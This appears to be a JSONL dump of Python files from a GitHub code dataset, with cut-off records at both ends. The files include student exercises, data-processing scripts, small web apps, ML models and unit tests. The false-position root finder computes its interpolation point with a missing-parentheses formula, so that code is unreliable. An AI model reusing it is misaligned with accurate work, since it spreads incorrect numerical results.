sorted(resData.items(), key = lambda it : (it[1][1], it[1][0]), reverse = True);\n \n finRes = ['',0,0] # name, frq, len\n \n for i in sorted(resData.items(), key = lambda it : (it[1][0], it[1][1]), reverse = True) :\n #print(i[0])\n \n if finRes[1] < i[1][0] :\n finRes[0] = i[0]\n finRes[1] = i[1][0]\n finRes[2] = i[1][1]\n elif finRes[1] == i[1][0] :\n if finRes[2] < i[1][1] :\n finRes[0] = i[0]\n finRes[1] = i[1][0]\n finRes[2] = i[1][1]\n else :\n break\n \n \n\n #print(finRes)\n print(finRes[0]+' '+ str(finRes[1]))\n return finRes[0]+' '+ str(finRes[1])\n # print(sorted(resData.values(), key = lambda it : (it[1], it[0]), reverse = True))\n \n # print(resData)\n# for i in resData.values() :\n # print(i[1])\n #print(resData)\n \n\n #start writing your code here\n #Populate the variables: word and frequency\n\n\n # Use the below given print statements to display the output\n # Also, do not modify them for verification to work\n #print(word,frequency)\n\n\n#Provide different values for data and test your program.\ndata=\"Hands to clap and eyes to see\"\nmax_frequency_word_counter(data)\n","repo_name":"Ghazi-Khan/InfyTraining","sub_path":"PythonProgramming/Assignment/Set4/Level3AStr.py","file_name":"Level3AStr.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"7062014833","text":"import pandas as pd\n\ndata = pd.read_csv(\"../input/trade_data_filtered/cn2014.csv\")\n\nTOTAL = data.loc[data.PRODUCT_NC == \"TOTAL\"]\n\ndata = data[data.PRODUCT_NC != \"TOTAL\"]\nTOTAL.head()\n\n\ndata[\"PRODUCT_NC\"] = data[\"PRODUCT_NC\"].apply(lambda x: str(x[:6]))\nsixdigit_product_trade = pd.DataFrame(data.groupby([\"TRADE_TYPE\",'DECLARANT_ISO','PARTNER_ISO',\"PRODUCT_NC\"])['VALUE_IN_EUROS'].sum().reset_index())\n\n#generate product keys\nprod_keys = sixdigit_product_trade[\"PRODUCT_NC\"].unique()\n\n\n#generate list for countries\n\nDECLARANT_countries = data[\"DECLARANT_ISO\"].unique()\nPARTNER_countries = data[\"PARTNER_ISO\"].unique()\n\n#generate a dictionary with values of the product code dataframes \nd = {name: pd.DataFrame(prod_keys, columns=[\"PRODUCT_CODE\"]) for name in PARTNER_countries}\n\nfor i in PARTNER_countries: \n d[i][\"PARTNER\"]=i\n \ndf_list = [d[i] for i in PARTNER_countries]\n\n\n#generate list for countries\nDECLARANT_countries = data[\"DECLARANT_ISO\"].unique()\nPARTNER_countries = data[\"PARTNER_ISO\"].unique()\n\n\n#generate dictionary with values of dataframes of product codes and partner countries \nd_2 = {name: pd.concat(df_list) for name in DECLARANT_countries}\n\nfor i in DECLARANT_countries: \n d_2[i][\"DECLARANT\"]=i\n \ndf_2_list = [d_2[i] for i in DECLARANT_countries]\n\nresult = pd.concat(df_2_list)\n\n\n# drop those rows where the declarant country and the partner country is the same\nresult = result[result[\"DECLARANT\"] != result[\"PARTNER\"]]\nresult.to_csv(r'../temp/result.csv')\n\n\ndata_EXP = sixdigit_product_trade[sixdigit_product_trade[\"TRADE_TYPE\"]==\"E\"].drop(\"TRADE_TYPE\",axis=1)\ndata_IMP = sixdigit_product_trade[sixdigit_product_trade[\"TRADE_TYPE\"]==\"I\"].drop(\"TRADE_TYPE\",axis=1)\n\ndata_EXP.to_csv(r'../temp/data_EXP.csv')\ndata_IMP.to_csv(r'../temp/data_IMP.csv')\n","repo_name":"ceumicrodata/respect-trade-similarity","sub_path":"code/junk/separate_data.py","file_name":"separate_data.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"15563625432","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 2 20:11:19 2023\n\n@author: Hasan Emre\n\"\"\"\n\ndef f(x):\n return x**3 - 5*x**2 + 9*x - 1\n\na, b = 0, 1\ntol = 0.01\nmax_iter = 100\nmax_error = tol\n\n# initial interval\nfa, fb = f(a), f(b)\nif fa * fb > 0:\n raise ValueError(\"Function does not change sign on the interval.\")\n\n# linear interpolation\nxn = a * fb - b * fa / (fb - fa)\ni = 1\nwhile i <= max_iter:\n error = max(abs(xn - a), abs(b - xn))\n if error < max_error:\n break\n if fa * f(xn) < 0:\n b = xn\n else:\n a = xn\n fa, fb = f(a), f(b)\n xn = a * fb - b * fa / (fb - fa)\n i += 1\n\n\nprint(\"Approximate root:\", xn)\n\n","repo_name":"Hasan-Emre-Bagriyanik/Python-Artificial_Intelligence_Experiments","sub_path":"Okul Python Çalışmaları/Dogrusal_interpolasyon.py","file_name":"Dogrusal_interpolasyon.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34902081158","text":"import os\nimport scipy\nimport skimage\nimport numpy as np\nfrom pypardiso import spsolve\nfrom PIL import Image\nfrom tqdm import tqdm\nimport pandas as pd\n\ndef img2depth(filename):\n depth_png = np.array(Image.open(filename), dtype=int)\n # make sure we have a proper 16bit depth map here.. not 8bit!\n assert(np.max(depth_png) > 255)\n\n depth = depth_png.astype(np.float) / 256.\n # depth[depth_png == 0] = -1.\n return depth\n\n\ndef depth2img(depth, filename):\n depth = (depth * 256).astype('int16')\n depth_png = Image.fromarray(depth)\n depth_png.save(filename)\n\n\ndef fill_depth_colorization(rgb_filename, depth_filename, alpha=1):\n imgRgb = np.array(Image.open(rgb_filename), dtype=int)\n imgRgb = imgRgb / np.max(imgRgb)\n imgDepthInput = img2depth(depth_filename)\n\n imgIsNoise = imgDepthInput == 0\n maxImgAbsDepth = np.max(imgDepthInput)\n imgDepth = imgDepthInput / maxImgAbsDepth\n imgDepth[imgDepth > 1] = 1\n (H, W) = imgDepth.shape\n numPix = H * W\n indsM = np.arange(numPix).reshape((W, H)).transpose()\n knownValMask = (imgIsNoise == False).astype(int)\n grayImg = skimage.color.rgb2gray(imgRgb)\n winRad = 1\n len_ = 0\n absImgNdx = 0\n len_window = (2 * winRad + 1) ** 2\n len_zeros = numPix * len_window\n cols = np.zeros(len_zeros) - 1\n rows = np.zeros(len_zeros) - 1\n vals = np.zeros(len_zeros) - 1\n gvals = np.zeros(len_window) - 1\n\n for j in range(W):\n for i in range(H):\n nWin = 0\n for ii in range(max(0, i - winRad), min(i + winRad + 1, H)):\n for jj in range(max(0, j - winRad), min(j + winRad + 1, W)):\n if ii == i and jj == j:\n continue\n\n rows[len_] = absImgNdx\n cols[len_] = indsM[ii, jj]\n gvals[nWin] = grayImg[ii, jj]\n\n len_ = len_ + 1\n nWin = nWin + 1\n\n curVal = grayImg[i, j]\n gvals[nWin] = curVal\n c_var = np.mean((gvals[:nWin + 1] - np.mean(gvals[:nWin + 1])) ** 2)\n\n csig = c_var * 0.6\n mgv = np.min((gvals[:nWin] - curVal) ** 2)\n if csig < -mgv / np.log(0.01):\n csig = -mgv / np.log(0.01)\n\n if csig < 2e-06:\n csig = 2e-06\n\n gvals[:nWin] = np.exp(-(gvals[:nWin] - curVal) ** 2 / csig)\n gvals[:nWin] = gvals[:nWin] / sum(gvals[:nWin])\n vals[len_ - nWin:len_] = -gvals[:nWin]\n\n # Now the self-reference (along the diagonal).\n rows[len_] = absImgNdx\n cols[len_] = absImgNdx\n vals[len_] = 1 # sum(gvals(1:nWin))\n\n len_ = len_ + 1\n absImgNdx = absImgNdx + 1\n\n vals = vals[:len_]\n cols = cols[:len_]\n rows = rows[:len_]\n A = scipy.sparse.csr_matrix((vals, (rows, cols)), (numPix, numPix))\n\n rows = np.arange(0, numPix)\n cols = np.arange(0, numPix)\n vals = (knownValMask * alpha).transpose().reshape(numPix)\n G = scipy.sparse.csr_matrix((vals, (rows, cols)), (numPix, numPix))\n\n A = A + G\n b = np.multiply(vals.reshape(numPix), imgDepth.flatten('F'))\n\n # print ('Solving system..')\n\n new_vals = spsolve(A, b)\n new_vals = np.reshape(new_vals, (H, W), 'F')\n\n # print ('Done.')\n\n denoisedDepthImg = new_vals * maxImgAbsDepth\n\n output = denoisedDepthImg.reshape((H, W)).astype('float32')\n\n output = np.multiply(output, (1 - knownValMask)) + imgDepthInput\n\n return output\n\n\ndef file_list():\n \"\"\"\n 用于生成数据的路径,即assets中的train.csv\n :return:\n \"\"\"\n root = '/home/lin/Documents/dataset/KITTI/' # 修改为自己数据集的路径\n\n image = []\n depth = []\n depth_sparse = []\n depth_folds = os.listdir(root + 'data_depth_annotated/train/')\n rgb_folds = os.listdir(root + 'KITTI_raw_data')\n\n for fold in depth_folds:\n if fold in rgb_folds:\n depth_img_root = '%sdata_depth_annotated/train/%s/proj_depth/groundtruth/image_02/' % (root, fold)\n rgb_img_root = '%sKITTI_raw_data/%s/image_02/data/' % (root, fold)\n depth_filled_img_root = '%sdepth_maps_filled/%s/' % (root, fold)\n\n depth_images = os.listdir(depth_img_root)\n rgb_images = os.listdir(rgb_img_root)\n depth_filled_images = os.listdir(depth_filled_img_root)\n for img_name in tqdm(depth_images):\n if (img_name in depth_filled_images) and (img_name in rgb_images):\n depth_filename = depth_img_root + img_name\n rgb_filename = rgb_img_root + img_name\n depth_filled_filename = depth_filled_img_root + img_name\n\n depth_sparse.append(depth_filename)\n image.append(rgb_filename)\n depth.append(depth_filled_filename)\n\n pd.DataFrame({'image':image, 'depth':depth, 'depth_sparse':depth_sparse}).to_csv('assets/train.csv', index=False)\n\n\ndef main():\n \"\"\"\n 填充深度图的缺失值\n :return:\n \"\"\"\n root = '/home/lin/Documents/dataset/KITTI/' # 修改为自己数据集的路径\n\n if not os.path.exists(root + 'depth_maps_filled'):\n os.mkdir(root + 'depth_maps_filled')\n\n depth_folds = os.listdir(root + 'data_depth_annotated')\n rgb_folds = os.listdir(root + 'KITTI_raw_data')\n\n for fold in depth_folds:\n if fold in rgb_folds:\n if not os.path.exists(root + 'depth_maps_filled/' + fold):\n os.mkdir(root + 'depth_maps_filled/' + fold)\n print(fold)\n depth_img_root = '%sdata_depth_annotated/train/%s/proj_depth/groundtruth/image_02/' % (root, fold)\n rgb_img_root = '%sKITTI_raw_data/%s/image_02/data/' % (root, fold)\n depth_filled_img_root = '%sdepth_maps_filled/%s/' % (root, fold)\n\n depth_images = os.listdir(depth_img_root)\n rgb_images = os.listdir(rgb_img_root)\n depth_filled_images = os.listdir(depth_filled_img_root)\n for img_name in tqdm(depth_images):\n assert (img_name in rgb_images)\n if img_name not in depth_filled_images:\n depth_filename = depth_img_root + img_name\n rgb_filename = rgb_img_root + img_name\n depth_filled_filename = depth_filled_img_root + img_name\n depth = fill_depth_colorization(rgb_filename, depth_filename)\n depth2img(depth, depth_filled_filename)\n\n\nif __name__ == '__main__':\n file_list()\n","repo_name":"EEEGUI/DenseDepth-pytorch","sub_path":"fill_death_map.py","file_name":"fill_death_map.py","file_ext":"py","file_size_in_byte":6539,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"36"} +{"seq_id":"3071160364","text":"import easygui as g\r\n\r\n#参数定义\r\nuserL = 0\r\nuserR = 0\r\nflag = 0\r\nregister = []\r\n\r\n#全局定义\r\n\r\n#方法定义\r\ndef reg_is_login(user,pwd):\r\n global flag\r\n if register[0] == user:\r\n print('user:ok')\r\n if register[1] == pwd:\r\n flag = 5\r\n print('pwd:ok')\r\n else:\r\n g.msgbox(title='错误',msg='用户名或密码错误(请注意登录次数)')\r\n print('pwd:no')\r\n else:\r\n g.msgbox(title='错误',msg='用户名或密码错误(请注意登录次数)')\r\n print('user:no')\r\n\r\n#执行代码\r\nwhile flag < 4:\r\n a = g.buttonbox(title='[TEST]',msg='欢迎来到[TEST]',choices=('登录','注册','版本','退出'),image='img/1.png')\r\n if a == '登录':\r\n if register != []:\r\n userL = g.enterbox(title='登录',msg='请输入用户名')\r\n pwdL = g.passwordbox(title='登录',msg='请输入密码')\r\n reg_is_login(userL,pwdL)\r\n flag += 1\r\n print(flag)\r\n else:\r\n g.msgbox(title='错误',msg='您尚未注册,请注册!')\r\n elif a == '注册':\r\n userR = g.enterbox(title='注册',msg='请输入你想要的用户名')\r\n pwdR = g.passwordbox(title='注册',msg='请输入注册密码')\r\n register = [userR,pwdR]\r\n print(register)\r\n elif a == '版本':\r\n g.msgbox(title='版本',msg='版本:0.11.3 , 版本号:A92JS7J10.11.3HOA')\r\n elif a == '退出':\r\n flag = 8\r\n else:\r\n g.msgbox(title='错误',msg='选择错误,请重新选择!')\r\n\r\nif flag == 4:\r\n g.msgbox(title='错误',msg='给你的登录次数已经过了!')\r\n print(flag)\r\nelif flag == 6:\r\n g.msgbox(title='成功',msg='您已登陆成功!')\r\nelse:\r\n g.msgbox(title='退出',msg='您已成功退出!')\r\n","repo_name":"sunglobal412/login_and_reg-system-python-easygui-","sub_path":"github/login_reg(中文版)的副本.py","file_name":"login_reg(中文版)的副本.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"19449090859","text":"from django.db import models\nfrom django.utils.translation import gettext_lazy as _\n\nfrom .stakeholder_group import StakeholderGroup\n\n\nclass SurveyManager(models.Manager):\n\n def create(self, name, method, stakeholdergroup='', description=\"\", welcome_text=\"\", closing_text=\"\", min_threshold=100, response_type=\"SINGLE\", anonymous=False):\n # Hardcodes stakeholdergroup for now\n stakeholdergroup = 'anyone'\n if stakeholdergroup:\n stakeholdergroup, _ = StakeholderGroup.objects.get_or_create(name=stakeholdergroup)\n\n survey = Survey(name=name, method=method, stakeholdergroup=stakeholdergroup, description=description, welcome_text=welcome_text, closing_text=closing_text, min_threshold=min_threshold, response_type=response_type, anonymous=anonymous,) # \n survey.save()\n return survey\n\n\nclass Survey(models.Model):\n objects = SurveyManager()\n method = models.ForeignKey('Method', related_name=\"surveys\", on_delete=models.CASCADE)\n stakeholdergroup = models.ForeignKey('StakeholderGroup', related_name=\"surveys\", on_delete=models.CASCADE) \n\n name=models.CharField(max_length=255, unique=False, blank=False)\n description = models.CharField(max_length=1000, blank=True)\n welcome_text = models.CharField(max_length=1000, blank=True)\n closing_text = models.CharField(max_length=1000, blank=True)\n min_threshold = models.PositiveSmallIntegerField(default=100)\n anonymous = models.BooleanField(null=False, default=False)\n \n finished_responses = []\n\n MULTIPLE = \"multiple\"\n SINGLE = \"single\"\n\n RESPONSE_TYPES = (\n (MULTIPLE, \"Multiple\"),\n (SINGLE, \"Single\")\n )\n response_type = models.CharField(max_length=100, choices=RESPONSE_TYPES, default=\"SINGLE\")\n\n class Meta:\n verbose_name = _('survey')\n verbose_name_plural = _('surveys')\n\n def __str__(self):\n return self.name\n\n # shows the survey responses that have been finished(=saved by the respondent)\n def finresponses(self):\n fresponses = [response for response in self.responses.all() if response.finished]\n self.finished_responses = fresponses\n \n def response_rate(self):\n responserate = (len(self.finished_responses)/(len(self.responses.all()) or 1)) * 100\n return responserate","repo_name":"sergioespana/openESEA","sub_path":"backend/core/models/survey.py","file_name":"survey.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"1499291135","text":"from fastapi import FastAPI , Request, Form\nfrom fastapi.templating import Jinja2Templates\n\napp=FastAPI()\ntemplates=Jinja2Templates(directory='Templates')\nfrom typing import Optional\n\n\n# from sqlalchemy import create_engine\n# from sqlalchemy.ext.declarative import declarative_base\n# from sqlalchemy.orm import sessionmaker\n# from sqlalchemy import Column,Integer,String\n# SQLALCHEMY_DATABASE_URL='sqlite:///./database.db'\n\n# engine=create_engine(SQLALCHEMY_DATABASE_URL,connect_args={'check_same_thread':False})\n\n# Sessionmaker=sessionmaker(autocommit=False,autoflush=False,bind=engine)\n\n# Base=declarative_base()\n\n# class Task(Base):\n# __tablename__='task'\n# id=Column(Integer,primary_key=True,index=True)\n# task_name=Column(String)\n# completed=Column(String)\n\n@app.get('/')\ndef home(request:Request):\n return templates.TemplateResponse('base.html',context={'request':request})\nadd_list=[]\ncompleted_task=[]\npending=[]\n@app.post('/')\ndef home(request:Request,Add_task:Optional[str]=Form(None),task1:Optional[str]=Form(None),submit:Optional[str]=Form(None),delete:Optional[str]=Form(None)):\n\n print(delete)\n \n if Add_task!=None and Add_task not in add_list:\n\n add_list.append(Add_task)\n if (submit=='Mark as Completed' and task1!=None) and (task1 not in completed_task):\n completed_task.append(task1)\n pending.remove(task1)\n if delete=='Delete' and task1!=None:\n add_list.remove(task1)\n \n for i in add_list:\n if i not in completed_task and i not in pending:\n pending.append(i)\n \n return templates.TemplateResponse('base.html',context={'request':request,'add_list':add_list,'completed_task':completed_task,'pending':pending})\n","repo_name":"arvindmn01/To_do_app","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21106679681","text":"import tensorflow as tf\nfrom tensorflow.keras.layers import Bidirectional, Dense, GRU, Embedding\nfrom tensorflow.keras import Model\n\nclass CustomizedGRU(Model):\n def __init__(self, num_classes=1, num_hidden_layers=2, num_recurrent_units=[256,512], num_dense_layers=2, num_dense_neurons=[64], is_bidirectional=False, vocab_size=5000, pretrained_embeddings=None):\n super(CustomizedGRU, self).__init__()\n self.grus = []\n self.denses = []\n if not pretrained_embeddings is None:\n self.embedding = tf.keras.layers.Embedding(vocab_size, pretrained_embeddings.shape[1],\n embeddings_initializer=tf.keras.initializers.Constant(pretrained_embeddings),\n trainable=False)\n else:\n self.embedding = Embedding(vocab_size,300)\n if is_bidirectional:\n for i in range(num_hidden_layers - 1):\n self.grus.append(Bidirectional(GRU(num_recurrent_units[i], activation=\"relu\", return_sequences=True)))\n self.grus.append(Bidirectional(GRU(num_recurrent_units[num_hidden_layers - 1], activation=\"relu\", return_sequences=False)))\n else:\n for i in range(num_hidden_layers-1):\n self.grus.append(GRU(num_recurrent_units[i], activation=\"relu\", return_sequences=True))\n self.grus.append(GRU(num_recurrent_units[num_hidden_layers-1], activation=\"relu\", return_sequences=False))\n for i in range(num_dense_layers):\n self.denses.append(tf.keras.layers.Dense(num_dense_neurons[i], activation=\"relu\"))\n self.classification_layer = tf.keras.layers.Dense(num_classes, activation=\"softmax\")\n\n def call(self, inputs):\n x = self.embedding(inputs)\n for layer in self.grus:\n x = layer(x)\n for layer in self.denses:\n x = layer(x)\n return self.classification_layer(x)","repo_name":"paolopast95/TeClasFW","sub_path":"src/models/gru.py","file_name":"gru.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"22040061264","text":"import pytest\n\nfrom libpythonproone.spam.enviador_de_email import Enviador, EmailInvalido\n\n\ndef test_criar_enviador_de_email():\n enviador = Enviador()\n assert enviador is not None\n\n\n@pytest.mark.parametrize(\n 'remetente',\n ['emanuelfilipess@gmail.com', 'foo@bar.com.br']\n)\ndef test_remetente(remetente):\n enviador = Enviador()\n resultado = enviador.enviar(\n remetente,\n 'manel_scout@hotmail.com',\n 'Cursos Python Pro',\n 'Primeira turma Guido Von Rossum aberta.'\n )\n assert remetente in resultado\n\n\n@pytest.mark.parametrize(\n 'remetente',\n ['', 'emanuel']\n)\ndef test_remetente_invalido(remetente):\n enviador = Enviador()\n with pytest.raises(EmailInvalido):\n enviador.enviar(\n remetente,\n 'manel_scout@hotmail.com',\n 'Cursos Python Pro',\n 'Primeira turma Guido Von Rossum aberta.'\n )\n","repo_name":"emanuelfilipes/libpythonpro","sub_path":"libpythonproone/tests/test_spam/test_enviador_de_email.py","file_name":"test_enviador_de_email.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"11216838128","text":"# -*- coding: utf-8 -*-\n\"\"\"Tests for Register class.\"\"\"\nimport io\nimport os\nimport struct\nimport logging\nimport shutil\nimport tempfile\nfrom collections import OrderedDict\n\nfrom nose.tools import raises, assert_equal\n\nfrom pyplanck.register import Register\nfrom pyplanck.immutables import Item, Employee\nfrom pyplanck.exceptions import CredentialException, ItemNotFoundException\n\n# No logging for unit tests\nlogging.disable(logging.CRITICAL)\n\n\nclass TestRegister(object):\n @classmethod\n def setUpClass(cls):\n cls.tempdir = tempfile.mkdtemp()\n cls.menu_path = os.path.join(cls.tempdir, 'menu.txt')\n cls.employees_path = os.path.join(cls.tempdir, 'employees.txt')\n cls.count_path = os.path.join(cls.tempdir, 'register_count.bin')\n with io.open(cls.menu_path, 'w') as f:\n f.write(u'#Candy|1.00\\n001|Chocolate bar\\n002|Gum|0.75\\n' +\n u'#Beverage|0.50\\n003|Hot chocolate|0.50|hc\\n')\n with io.open(cls.employees_path, 'w') as f:\n f.write(u'Admin|2222|admin|2\\nEmployee|1111|employee|1\\n' +\n u'Guest|0000|guest|0\\n')\n\n @classmethod\n def tearDownClass(cls):\n shutil.rmtree(cls.tempdir)\n\n def setUp(self):\n with io.open(self.count_path, 'wb') as f:\n data = struct.pack('d', 11.57)\n f.write(data)\n self.register = Register(self.menu_path, self.employees_path,\n self.count_path, self.tempdir)\n\n def test_reads_menu(self):\n menu = self.register.menu\n correct_menu = [Item('Chocolate bar', 1.0, '001', 'Candy', None),\n Item('Gum', 0.75, '002', 'Candy', None),\n Item('Hot chocolate', 0.5, '003', 'Beverage', 'hc')]\n assert_equal(set(menu), set(correct_menu))\n\n def test_reads_employees_list(self):\n employees = self.register.employees\n correct_employees = [Employee('Admin', '2222', 'admin', 2),\n Employee('Employee', '1111', 'employee', 1),\n Employee('Guest', '0000', 'guest', 0)]\n assert_equal(set(employees), set(correct_employees))\n\n def test_reads_register_count(self):\n assert_equal(self.register._register_count, 11.57)\n\n def test_initial_employee_is_none(self):\n assert_equal(self.register.employee, None)\n\n def test_initial_order_is_empty(self):\n assert_equal(self.register.order_dict, OrderedDict())\n\n def test_login_per_barcode(self):\n employee = Employee('Admin', '2222', 'admin', 2)\n self.register.login_employee('2222')\n assert_equal(self.register.employee, employee)\n\n def test_login_per_code(self):\n employee = Employee('Admin', '2222', 'admin', 2)\n self.register.login_employee('admin')\n assert_equal(self.register.employee, employee)\n\n @raises(CredentialException)\n def test_raises_exception_on_invalid_login(self):\n self.register.login_employee('gum')\n\n def test_logout_employee(self):\n self.register.employee = self.register.employees[0]\n self.register.logout_employee()\n assert_equal(self.register.employee, None)\n\n def test_employee_name_returns_employee_name(self):\n self.register.login_employee('admin')\n assert_equal(self.register.employee_name, 'Admin')\n\n def test_employee_name_returns_none(self):\n assert_equal(self.register.employee_name, 'None')\n\n def test_add(self):\n self.register.login_employee('admin')\n self.register.add('001')\n correct_added_item = Item('Chocolate bar', 1.0, '001', 'Candy', None)\n correct_quantity = 1\n correct_dict = OrderedDict([(correct_added_item, correct_quantity)])\n assert_equal(self.register.order_dict, correct_dict)\n\n def test_add_custom(self):\n self.register.login_employee('admin')\n self.register.add_custom('gum', 0.47)\n correct_added_item = Item('gum', 0.47, 'custom_gum', 'Custom', None)\n correct_quantity = 1\n correct_dict = OrderedDict([(correct_added_item, correct_quantity)])\n assert_equal(self.register.order_dict, correct_dict)\n\n def test_remove(self):\n self.register.login_employee('admin')\n items = [Item('Chocolate bar', 1.0, '001', 'Candy', None),\n Item('Gum', 0.75, '002', 'Candy', None)]\n self.register.order_dict = OrderedDict([(items[0], 1), (items[1], 1)])\n self.register.remove('001')\n assert_equal(self.register.order_dict, OrderedDict([(items[1], 1)]))\n\n def test_remove_custom(self):\n self.register.login_employee('admin')\n items = [Item('Chocolate bar', 1.0, '001', 'Candy', None),\n Item('gum', 0.47, 'custom_gum', 'Custom', None)]\n self.register.order_dict = OrderedDict([(items[0], 1), (items[1], 1)])\n self.register.remove('custom_gum')\n assert_equal(self.register.order_dict, OrderedDict([(items[0], 1)]))\n\n def test_order(self):\n self.register.login_employee('admin')\n items = [Item('Chocolate bar', 1.0, '001', 'Candy', None),\n Item('gum', 0.47, 'custom_gum', 'Custom', None)]\n order = ((items[0], 1), (items[1], 1))\n self.register.order_dict = OrderedDict(order)\n assert_equal(self.register.order, order)\n\n def test_clear_order(self):\n self.register.login_employee('admin')\n items = [Item('Chocolate bar', 1.0, '001', 'Candy', None),\n Item('Gum', 0.75, '002', 'Candy', None)]\n self.register.order_dict = OrderedDict([(items[0], 1), (items[1], 1)])\n self.register.clear_order()\n assert_equal(self.register.order_dict, OrderedDict())\n\n def test_checkout_order(self):\n self.register.login_employee('admin')\n items = [Item('Chocolate bar', 1.0, '001', 'Candy', None),\n Item('Gum', 0.75, '002', 'Candy', None)]\n self.register._register_count = 1.5\n self.register.order_dict = OrderedDict([(items[0], 1), (items[1], 1)])\n self.register.checkout_order()\n assert_equal(self.register._register_count, 3.25)\n assert_equal(self.register.order_dict, OrderedDict())\n with io.open(self.count_path, 'rb') as f:\n (register_count, ) = struct.unpack('d', f.read(8))\n assert_equal(register_count, 3.25)\n\n def test_checkout_empty_order(self):\n self.register.login_employee('admin')\n self.register._register_count = 1.5\n self.register.order_dict = OrderedDict()\n self.register.checkout_order()\n assert_equal(self.register._register_count, 1.5)\n assert_equal(self.register.order_dict, OrderedDict())\n with io.open(self.count_path, 'rb') as f:\n register_count, = struct.unpack('d', f.read(8))\n assert_equal(register_count, 1.5)\n\n def test_order_to_string(self):\n self.register.login_employee('admin')\n items = [Item('Chocolate bar', 1.0, '001', 'Candy', None),\n Item('Gum', 0.75, '002', 'Candy', None)]\n self.register.order_dict = OrderedDict([(items[0], 1), (items[1], 1)])\n representation = self.register.order_to_string().split('\\n')\n correct_representation = ['Chocolate bar x 1', 'Gum x 1']\n assert_equal(set(representation), set(correct_representation))\n\n def test_order_total_non_empty_order(self):\n self.register.login_employee('admin')\n items = [Item('Chocolate bar', 1.0, '001', 'Candy', None),\n Item('gum', 0.47, 'custom_gum', 'Custom', None)]\n self.register.order_dict = OrderedDict([(items[0], 1), (items[1], 1)])\n assert_equal(self.register.order_total, 1.47)\n\n def test_order_total_empty_order(self):\n self.register.login_employee('admin')\n self.register.order_dict = OrderedDict()\n assert_equal(self.register.order_total, 0.0)\n\n def test_count(self):\n self.register.login_employee('admin')\n self.register._register_count = 11.57\n assert_equal(self.register.register_count, 11.57)\n\n @raises(ValueError)\n def test_count_register_rejects_negative_counts(self):\n self.register.login_employee('admin')\n self.register.count_register(-1)\n\n def test_adjust(self):\n self.register.login_employee('admin')\n self.register._register_count = 2.5\n self.register.adjust(2.5)\n assert_equal(self.register._register_count, 5.0)\n with io.open(self.count_path, 'rb') as f:\n register_count, = struct.unpack('d', f.read(8))\n assert_equal(register_count, 5.0)\n\n def test_find_by_barcode(self):\n self.register.login_employee('admin')\n item = self.register._find_in_menu('001')\n assert_equal(item, Item('Chocolate bar', 1.0, '001', 'Candy', None))\n\n def test_find_by_shortcut(self):\n self.register.login_employee('admin')\n item = self.register._find_in_menu('hc')\n assert_equal(item, Item('Hot chocolate', 0.5, '003', 'Beverage', 'hc'))\n\n @raises(ValueError)\n def test_find_raises_exception_on_nonexistent_item(self):\n self.register.login_employee('admin')\n self.register._find_in_menu('nothing')\n\n def test_verify_credential_allows_right_employee(self):\n self.register._verify_credentials(\n Employee('E', '1111', 'employee', 1), 0)\n self.register._verify_credentials(\n Employee('E', '1111', 'employee', 1), 1)\n\n @raises(CredentialException)\n def test_verify_credential_raises_exception_on_wrong_employee(self):\n self.register._verify_credentials(\n Employee('E', '1111', 'employee', 1), 2)\n\n @raises(CredentialException)\n def test_verify_credential_raises_exception_on_none(self):\n self.register._verify_credentials(None, 1)\n\n def test_verify_credential_can_allow_none(self):\n self.register._verify_credentials(None, None)\n\n def test_add_existing_item_to_order(self):\n self.register.login_employee('admin')\n item = Item('Gum', 0.75, '002', 'Candy', None)\n self.register.order_dict = OrderedDict([(item, 1)])\n self.register._add_to_order(item)\n assert_equal(self.register.order_dict, OrderedDict([(item, 2)]))\n\n def test_add_new_item_to_order(self):\n self.register.login_employee('admin')\n items = [Item('Chocolate bar', 1.0, '001', 'Candy', None),\n Item('Gum', 0.75, '002', 'Candy', None)]\n self.register.order_dict = OrderedDict([(items[0], 1)])\n self.register._add_to_order(items[1])\n assert_equal(self.register.order_dict,\n OrderedDict([(items[0], 1), (items[1], 1)]))\n\n def test_remove_duplicate_item_from_order(self):\n self.register.login_employee('admin')\n item = Item('Gum', 0.75, '002', 'Candy', None)\n self.register.order_dict = OrderedDict([(item, 2)])\n self.register._remove_from_order(item)\n assert_equal(self.register.order_dict, OrderedDict([(item, 1)]))\n\n def test_remove_unique_item_from_order(self):\n self.register.login_employee('admin')\n item = Item('Gum', 0.75, '002', 'Candy', None)\n self.register.order_dict = OrderedDict([(item, 1)])\n self.register._remove_from_order(item)\n assert_equal(self.register.order_dict, OrderedDict())\n\n @raises(ItemNotFoundException)\n def test_remove_raises_exception_if_item_not_in_order(self):\n self.register.login_employee('admin')\n item = Item('Gum', 0.75, '002', 'Candy', None)\n self.register.order_dict = OrderedDict()\n self.register._remove_from_order(item)\n\n @raises(ValueError)\n def test_substract_raises_exception_if_amount_too_large(self):\n self.register.login_employee('admin')\n self.register._register_count = 1\n self.register._substract_from_register_count(2)\n\n def test_update_register_count(self):\n self.register.login_employee('admin')\n self.register._register_count = 2.0\n self.register._update_register_count()\n with io.open(self.count_path, 'rb') as f:\n register_count, = struct.unpack('d', f.read(8))\n assert_equal(register_count, 2.0)\n","repo_name":"vdumoulin/pyplanck","sub_path":"tests/test_register.py","file_name":"test_register.py","file_ext":"py","file_size_in_byte":12193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"73978500264","text":"def 